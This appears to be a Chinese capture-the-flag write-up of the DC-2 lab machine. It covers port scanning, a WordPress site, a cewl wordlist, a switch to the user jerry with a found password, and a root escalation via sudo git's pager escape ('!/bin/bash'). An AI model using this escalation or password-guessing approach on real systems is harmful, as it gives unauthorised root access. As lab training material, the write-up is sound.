PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.10 ((Debian)) 7744/tcp open ssh syn-ack ttl 64 OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
127.0.0.1 localhost 127.0.1.1 kali 172.16.27.xxx dc-2 #添加该行 # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters
发现该该网站使用WordPress CMS Version:4.7.10
flag1
访问web页面发现flag目录发现flag1
1 2 3 4 5
Flag 1: Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl. More passwords is always better, but sometimes you just can’t win them all. Log in as one to see the next flag. If you can’t find it, log in as another.
sit amet nec quis vel orci site non sed vitae luctus sem Sed leo ante content nisi Donec turpis Aenean wrap tincidunt finibus dictum egestas volutpat justo odio eget Vestibulum ipsum neque erat vestibulum interdum quam sodales nulla suscipit arcu urna dui faucibus sapien blandit nibh tellus auctor nisl sagittis Suspendisse laoreet fermentum Our metus eros cursus dignissim Pellentesque tortor lacus consectetur convallis velit malesuada Proin rhoncus mauris placerat commodo enim dolor augue purus maximus posuere iaculis molestie WordPress Integer felis lobortis condimentum Nullam risus nunc porttitor lacinia imperdiet porta viverra Curabitur hendrerit dapibus diam branding header navigation entry aliquam ullamcorper Nam varius feugiat ultrices ligula scelerisque congue gravida Feed Mauris vulputate semper elit tristique Maecenas lorem sollicitudin Cras bibendum Praesent libero vehicula euismod ultricies ornare lectus Flag rutrum fringilla Morbi Aliquam Quisque primis magna pulvinar Phasellus tempus eleifend elementum another What People Products est accumsan venenatis Etiam pharetra Fusce efficitur Just Welcome Nunc massa pellentesque Duis Nulla cubilia Curae Vivamus fames facilisis consequat Skip text custom Menu top masthead pretium potenti post main primary Proudly powered info colophon contain page Comments RSD mollis mattis habitant morbi senectus netus aliquet tempor you Interdum just can Scroll down Lorem adipiscing panel facilisi Orci natoque penatibus magnis dis parturient montes nascetur ridiculus mus Your usual wordlists probably won work instead maybe need cewl More passwords always better but sometimes win them all Log one see the next flag find log
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
flag4
依据flag3的提示尝试切换至jerry用户
su jerry 密码:adipiscing 可以成功登录发现flag4
1 2 3 4
jerry@DC-2:/home/tom$ cd ~ jerry@DC-2:~$ ls flag4.txt jerry@DC-2:~$
jerry@DC-2:~$ cat flag4.txt
1 2 3 4
Good to see that you've made it this far - but you're not home yet. You still need to get the final flag (the only flag that really counts!!!). No hints here - you're on your own now. :-) Go on - git outta here!!!!
final_flag
依据flag4提示提权方式可能与git有关
1 2 3 4 5
jerry@DC-2:~$ sudo -l Matching Defaults entries for jerry on DC-2: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User jerry may run the following commands on DC-2: (root) NOPASSWD: /usr/bin/git
尝试提权
1 2 3 4 5
jerry@DC-2:~$ sudo git help config 在末端输入:`!/bin/bash` root@DC-2:/home/jerry# root@DC-2:/home/jerry# whoami root
